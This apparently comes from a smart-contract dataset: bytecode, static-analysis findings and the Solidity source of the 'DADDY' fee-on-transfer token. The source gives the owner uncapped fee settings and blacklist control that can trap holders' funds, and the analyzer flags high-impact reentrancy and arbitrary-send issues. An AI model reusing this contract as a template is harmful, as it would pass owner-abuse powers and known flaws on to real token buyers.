8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166115bf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d6565b6001600160a01b0382166116215760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d6565b600081116116835760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105d6565b6000806116986000546001600160a01b031690565b6001600160a01b0316856001600160a01b0316141580156116c757506000546001600160a01b03858116911614155b80156116db57506001600160a01b03841615155b80156116f257506001600160a01b03841661dead14155b80156117065750600854610100900460ff16155b15611a74576001600160a01b03851660009081526007602052604090205460ff1615801561174d57506001600160a01b03841660009081526007602052604090205460ff16155b61175657600080fd5b600854640100000000900460ff1615611872576002546001600160a01b0385811691161480159061179557506026546001600160a01b03858116911614155b15611872576117a5600143612ad6565b326000908152600360205260409020541080156117e357506117c8600143612ad6565b6001600160a01b038516600090815260036020526040902054105b61184d5760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016105d6565b3260009081526003602052604080822043908190556001600160a01b03871683529120555b602654600192506001600160a01b0386811691161480156118a157506002546001600160a01b03858116911614155b80156118c657506001600160a01b03841660009081526006602052604090205460ff16155b156119b65760095483111561192f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178426044820152683abca0b6b7bab73a1760b91b60648201526084016105d6565b600b5483611952866001600160a01b031660009081526004602052604090205490565b61195c9190612a1b565b11156119b65760405162461bcd60e51b8152602060048201526024808201527f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f6044820152633ab73a1760e11b60648201526084016105d6565b6026546001600160a01b0385811691161480156119e157506002546001600160a01b03868116911614155b8015611a0657506001600160a01b03851660009081526006602052604090205460ff16155b15611a7457600a54831115611a705760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785360448201526932b63620b6b7bab73a1760b11b60648201526084016105d6565b5060015b6001600160a01b03851660009081526006602052604090205460ff1680611ab357506001600160a01b03841660009081526006602052604090205460ff165b15611abd57600091505b306000908152600460205260408120549050600060225482118015611adf5750825b9050808015611af757506008546301000000900460ff165b8015611b0b5750600854610100900460ff16155b8015611b3057506001600160a01b03871660009081526006602052604090205460ff16155b8015611b5557506001600160a01b03861660009081526006602052604090205460ff16155b15611b7d576008805461ff001916610100179055611b71611dc9565b6008805461ff00191690555b611b8a8787878787612042565b50505050505050565b60008184841115611bb75760405162461bcd60e51b81526004016105d691906125e2565b506000611bc48486612ad6565b95945050505050565b6023546001600160a01b03166108fc611be78360026120ae565b6040518115909202916000818181858888f19350505050158015611c0f573d6000803e3d6000fd5b506025546001600160a01b03166108fc611c2a8360026120ae565b6040518115909202916000818181858888f19350505050158015611106573d6000803e3d6000fd5b6008805462ff00001916620100001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611c9857611c986128c2565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611cf1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d159190612a33565b81600181518110611d2857611d286128c2565b6001600160a01b039283166020918202929092010152600254611d4e9130911684611436565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790611d87908590600090869030904290600401612aed565b600060405180830381600087803b158015611da157600080fd5b505af1158015611db5573d6000803e3d6000fd5b50506008805462ff00001916905550505050565b3060009081526004602052604081205490506000602154601f54601e54602054611df39190612a1b565b611dfd9190612a1b565b611e079190612a1b565b90506000821580611e16575081155b15611e2057505050565b602254611e2e90600a6129fc565b831115611e4657602254611e4390600a6129fc565b92505b600060028360205486611e5991906129fc565b611e639190612b5e565b611e6d9190612b5e565b90506000611e7b85836120f7565b905047611e8782611c52565b6000611e9347836120f7565b90506000611eb687611eb0601e548561213990919063ffffffff16565b906120ae565b90506000611ed388611eb0601f548661213990919063ffffffff16565b90506000611ef089611eb06021548761213990919063ffffffff16565b905060008183611f008688612ad6565b611f0a9190612ad6565b611f149190612ad6565b60006020819055601e819055601f81905560218190556025546040519293506001600160a01b031691849181818185875af1925050503d8060008114611f76576040519150601f19603f3d011682016040523d82523d6000602084013e611f7b565b606091505b50909950508715801590611f8f5750600081115b15611fe057611f9e88826121b8565b60208054604080518a81529283018490528201527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a15b6023546040516001600160a01b03909116904790600081818185875af1925050503d806000811461202d576040519150601f19603f3d011682016040523d82523d6000602084013e612032565b606091505b5050505050505050505050505050565b816120545761204f612253565b612062565b61205f858483612308565b92505b61206d858585612467565b816120a7576120a7600f54600e55601154601055601354601255601554601455601754601655601954601855601b54601a55601d54601c55565b5050505050565b60006120f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061250d565b9392505050565b60006120f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b93565b600082612148575060006105a6565b600061215483856129fc565b9050826121618583612b5e565b146120f05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105d6565b6002546121d09030906001600160a01b031684611436565b60025460245460405163f305d71960e01b81526001600160a01b039283169263f305d7199285926122109230928992600092839216904290600401612a50565b60606040518083038185885af115801561222e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906120a79190612a8b565b600e541580156122635750601054155b801561226f5750601254155b801561227b5750601454155b80156122875750601654155b80156122935750601854155b801561229f5750601a54155b80156122ab5750601c54155b156122b257565b600e8054600f556010805460115560128054601355601480546015556016805460175560188054601955601a8054601b55601c8054601d5560009788905595879055938690559185905584905583905582905555565b60008060008060008043600d54600c546123229190612a1b565b1061233d57506063935060199250829150601890508161237c565b6123468761253b565b945086156123675760165493506018549250601a549150601c54905061237c565b600e5493506010549250601254915060145490505b600061238d6064611eb08b89612139565b90508561239a84836129fc565b6123a49190612b5e565b601e60008282546123b59190612a1b565b909155508690506123c686836129fc565b6123d09190612b5e565b601f60008282546123e19190612a1b565b909155508690506123f285836129fc565b6123fc9190612b5e565b6020600082825461240d9190612a1b565b9091555086905061241e83836129fc565b6124289190612b5e565b602160008282546124399190612a1b565b9091555050801561244f5761244f8a3083612467565b612459818a612ad6565b9a9950505050505050505050565b6001600160a01b03831660009081526004602052604090205461248a90826120f7565b6001600160a01b0380851660009081526004602052604080822093909355908416815220546124b99082612583565b6001600160a01b0380841660008181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061154e9085815260200190565b6000818361252e5760405162461bcd60e51b81526004016105d691906125e2565b506000611bc48486612b5e565b6000811561256d57601c54601a546018546016546125599190612a1b565b6125639190612a1b565b6105a69190612a1b565b601454601254601054600e546125599190612a1b565b6000806125908385612a1b565b9050838110156120f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105d6565b600060208083528351808285015260005b8181101561260f578581018301518582016040015282016125f3565b81811115612621576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108ee57600080fd5b803561265781612637565b919050565b6000806040838503121561266f57600080fd5b823561267a81612637565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b80151581146108ee57600080fd5b80356126578161269e565b600080604083850312156126ca57600080fd5b823567ffffffffffffffff808211156126e257600080fd5b818501915085601f8301126126f657600080fd5b813560208282111561270a5761270a612688565b8160051b604051601f19603f8301168101818110868211171561272f5761272f612688565b60405292835281830193508481018201928984111561274d57600080fd5b948201945b83861015612772576127638661264c565b85529482019493820193612752565b965061278190508782016126ac565b9450505050509250929050565b6000806000606084860312156127a357600080fd5b83356127ae81612637565b925060208401356127be81612637565b929592945050506040919091013590565b6000602082840312156127e157600080fd5b5035919050565b6000602082840312156127fa57600080fd5b81356120f081612637565b60006020828403121561281757600080fd5b81356120f08161269e565b6000806000806080858703121561283857600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561286757600080fd5b823561287281612637565b9150602083013561288281612637565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415612902576129026128d8565b5060010190565b600181815b8085111561294457816000190482111561292a5761292a6128d8565b8085161561293757918102915b93841c939080029061290e565b509250929050565b60008261295b575060016105a6565b81612968575060006105a6565b816001811461297e5760028114612988576129a4565b60019150506105a6565b60ff841115612999576129996128d8565b50506001821b6105a6565b5060208310610133831016604e8410600b84101617156129c7575081810a6105a6565b6129d18383612909565b80600019048211156129e5576129e56128d8565b029392505050565b60006120f060ff84168361294c565b6000816000190483118215151615612a1657612a166128d8565b500290565b60008219821115612a2e57612a2e6128d8565b500190565b600060208284031215612a4557600080fd5b81516120f081612637565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215612aa057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215612acb57600080fd5b81516120f08161269e565b600082821015612ae857612ae86128d8565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612b3d5784516001600160a01b031683529383019391830191600101612b18565b50506001600160a01b03969096166060850152505050608001529392505050565b600082612b7b57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f7c08f4113ca019bd58fd0e431d4d2de7b4800774ea16aebc61aad86e811ee164736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,685 |
0x62cad8cd85d41420cbd01d9339786d67df463f61
|
/**
*Submitted for verification at Etherscan.io on 2022-03-03
*/
/**
Daddy Token $DADDY
$DADDY was created by a team of fathers in the crypto space who’ve come together
to highlight the mental health issues fatherless victims deal with and to celebrate
the importance of fatherhood. It is a space for women in crypto to feel comfortable
to discuss mental health and feel welcomed without judgment.
TG: https://t.me/daddytokenentry
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DaddyToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DADDY";//
string private constant _symbol = "DADDY";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 9;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 21;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x6BCeeB693DffcEa039Ff6A8B9316ac97Aec0570A);//
address payable private _marketingAddress = payable(0x271226561464f6F1A8c53A660352aF90465D5601);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 4000000000 * 10**9; //
uint256 public _maxWalletSize = 10000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600581526020017f4441444459000000000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a8